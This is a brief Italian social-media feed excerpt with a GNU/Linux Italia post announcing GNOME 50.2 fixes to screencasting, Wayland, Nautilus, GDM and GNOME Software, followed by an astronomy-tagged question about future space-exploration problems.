@GNU/Linux Italia

linuxeasy.org/gnome-50-2-migli…

GNOME 50.2 migliora screencast H.264, Wayland, Nautilus, GDM e GNOME Software con numerose correzioni e ottimizzazioni.
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E' vietato

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Qual è secondo te il problema più grave che ci possiamo aspettare nel futuro dell'esplorazione spaziale?

@astronomia